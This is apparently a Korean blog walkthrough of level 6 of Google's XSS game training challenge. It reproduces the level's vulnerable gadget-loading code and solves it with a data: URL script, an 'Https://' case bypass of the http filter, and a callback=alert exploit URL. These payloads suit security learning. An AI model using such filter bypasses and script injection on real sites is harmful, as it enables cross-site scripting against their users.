Mission Description
Complex web applications sometimes have the capability to dynamically load JavaScript libraries based on the value of their URL parameters or part of location.hash.
This is very tricky to get right -- allowing user input to influence the URL when loading scripts or other potentially dangerous types of data such as XMLHttpRequest often leads to serious vulnerabilities.
Mission Objective
Find a way to make the application request an external file which will cause it to execute an alert().
힌트
- See how the value of the location fragment (after #) influences the URL of the loaded script.
- Is the security check on the gadget URL really foolproof?
- Sometimes when I'm frustrated, I feel like screaming...
- If you can't easily host your own evil JS file, see if google.com/jsapi?callback=foo will help you here.
우선 #뒤의 부분을 조작하면 화면의 글자가 바뀌는 걸 알 수 있다. Loaded gadget from ~로 바뀐다. #뒤의 값을 가져오는 것 같다. 소스코드를 살펴보자.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
getGadgetName 함수는 #뒤의 문자열을 가져온다. includeGadget 함수는 스크립트를 생성하는데 http형태를 필터링한다. includeGadget함수를 호출하고 인자값으로 getGadgetName의 리턴값을 받는다.
if (url.match(/^https?:\/\//)) {
http://가 포함되면 load하지 않는다.
힌트에서 서버를 이용해 풀 수 있다는 것을 알았지만 Data URL Scheme라는 방법이 있어 사용해보겠다.
data:[자료타입], [데이터] 방식으로 데이터를 url 표현으로 바꿀 수 있다.
테스트
#뒤에 data:text/javascript,alert();을 입력하면 될 것 같다.
data:text/javascript,alert();
공격에 성공했다!
http:// 필터링은 Http://, 앞에 공백을 주는 등의 방식으로 우회할 수 있다. 힌트에 나왔던 google.com/jsapi?callback=foo 에서 foo 부분을 alert로 바꾸고 #뒤에 입력해줘도 해결할 수 있다.
자바스크립트의 콜백함수를 이용한 것이다.
https://xss-game.appspot.com/level6/frame#Https://www.gstatic.com/charts/loader.js?callback=alert
'Web Hacking > XSS game' 카테고리의 다른 글
[XSS] XSS game level 5 (0) | 2021.02.14 |
---|---|
XSS game level 4 (0) | 2021.02.07 |
[XSS] XSS game level 3 (0) | 2021.01.31 |
[XSS] XSS game Level 2 (0) | 2021.01.30 |
XSS game Level 1 (0) | 2021.01.17 |